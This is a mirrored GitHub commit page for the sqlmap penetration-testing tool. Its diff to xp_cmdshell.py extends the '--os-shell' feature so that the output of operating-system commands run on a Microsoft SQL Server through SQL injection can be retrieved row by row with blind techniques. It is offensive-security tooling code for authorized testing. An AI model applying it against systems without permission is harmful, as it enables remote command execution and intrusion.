Thanks to visit codestin.com
Credit goes to github.com

Skip to content

Commit 54e0a2d

Browse files
committed
--os-shell now works perfect for inference-like techniques too
1 parent 823b3d8 commit 54e0a2d

1 file changed

Lines changed: 16 additions & 1 deletion

File tree

lib/takeover/xp_cmdshell.py

Lines changed: 16 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -7,10 +7,13 @@
77

88
from lib.core.agent import agent
99
from lib.core.common import Backend
10+
from lib.core.common import getLimitRange
1011
from lib.core.common import getSPQLSnippet
1112
from lib.core.common import hashDBWrite
1213
from lib.core.common import isListLike
1314
from lib.core.common import isNoneValue
15+
from lib.core.common import isNumPosStrValue
16+
from lib.core.common import isTechniqueAvailable
1417
from lib.core.common import pushValue
1518
from lib.core.common import popValue
1619
from lib.core.common import randomStr
@@ -20,8 +23,11 @@
2023
from lib.core.data import conf
2124
from lib.core.data import kb
2225
from lib.core.data import logger
26+
from lib.core.enums import CHARSET_TYPE
2327
from lib.core.enums import DBMS
28+
from lib.core.enums import EXPECTED
2429
from lib.core.enums import HASHDB_KEYS
30+
from lib.core.enums import PAYLOAD
2531
from lib.core.exception import sqlmapUnsupportedFeatureException
2632
from lib.core.threads import getCurrentThreadData
2733
from lib.core.unescaper import unescaper
@@ -172,7 +178,16 @@ def xpCmdshellEvalCmd(self, cmd, first=None, last=None):
172178
output = new_output
173179
else:
174180
inject.goStacked(self.xpCmdshellForgeCmd(cmd, self.cmdTblName))
175-
output = inject.getValue("SELECT %s FROM %s" % (self.tblField, self.cmdTblName), resumeValue=False)
181+
query = "SELECT %s FROM %s" % (self.tblField, self.cmdTblName)
182+
if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR)) or conf.direct:
183+
output = inject.getValue(query, resumeValue=False, blind=False)
184+
else:
185+
output = []
186+
count = inject.getValue("SELECT COUNT(*) FROM %s" % self.cmdTblName, resumeValue=False, inband=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS)
187+
if isNumPosStrValue(count):
188+
for index in getLimitRange(count):
189+
query = agent.limitQuery(index, query, self.tblField)
190+
output.append(inject.getValue(query, inband=False, error=False, resumeValue=False))
176191
inject.goStacked("DELETE FROM %s" % self.cmdTblName)
177192

178193
if output and isListLike(output) and len(output) > 1:

0 commit comments

Comments
 (0)